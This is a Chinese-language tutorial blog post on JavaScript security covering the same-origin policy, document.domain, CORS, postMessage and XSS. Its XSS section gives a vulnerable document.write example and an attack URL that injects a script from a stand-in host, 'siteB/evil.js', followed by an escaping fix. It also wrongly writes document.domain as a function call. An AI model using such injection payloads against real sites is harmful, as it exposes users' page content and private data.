zoukankan      html  css  js  c++  java
  • JavaScript安全

    同源策略

    文档的来源定义:协议(http及https),主机(ip)或者URL端口

    脚本的来源定义:脚本的来源和同源策略并不相关,而是脚本所在文档的来源,例:

    来自域A的脚本被包含在域B中。如果脚本打开一个新的窗口来加载域B的另一个文档,脚本对这个文档有完全的访问权。但如果脚本打开一个窗口加载来自域C(或域A)的文档,同源策略就会发挥作用,则脚本对这个文档没有访问权限。

    解决跨域问题

    document.domain属性

    解决大型网站的同源策略的问题,例:

    来自home.example.com的脚本想要读取developer.example.com的属性,可以在两个站点的脚本中设置:

    document.domain("example.com")

    domain中的属性必须要有个点号,它不能是com这种顶级域名

    跨域资源共享

    采用新的:Origin: 请求头和新的Access-Control-Allow-Origin响应头来扩展http

    跨文档消息

    调用Window对象上的postMessage方法,可以异步传递消息事件到窗口文档里。

    跨站脚本XSS

    什么是跨站脚本?例:

    考虑如下web页面,它使用用户名字来向用户问好:

    <script>
    var name=decodeURIComponent(window.location.search.substring(6)) || " ";
    document.write("hello"+name);
    </script>
     
    假设有如下url:
     
    http://www.example.com/greet.html?name=david
     
    它会显示hello david。但是如果url变成这样:
     
    http://www.example.com/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/%3E
     
    (%3C及%3E是尖括号编码)相当于在该站点注入了siteB站点的脚本,即B站点的脚本就可以获取到当前文档的内容及隐私信息。
     
    通常的防止方式是,在使用任何不可信的数据动态生成文档前,移除HTML标记,上面的例子可以修改如下:
     
    <script>
    var name=decodeURIComponent(window.location.search.substring(6)) || " ";
    name=name.replace(/</g,"&lt;").replace(/>/g,"&gt;");
    document.write("hello"+name);
    </script>
     
  • 相关阅读:
    [转]使用Composer管理PHP依赖关系
    Php环境下载(PHPNow)安装
    精美的 ( Android, iPhone, iPad ) 手机界面设计素材和线框图设计工具
    八款强大的jQuery图片滑块动画插件
    JavaScript prototype.js提升JavaScript开发效率
    JS Message 网页消息提醒
    Vis.js图表插件
    动态算法学习
    GPS功能:百度路书自定义【轨迹回放】
    CSS美化页面滚动条
  • 原文地址:https://www.cnblogs.com/goOtter/p/8953343.html
Copyright © 2011-2022 走看看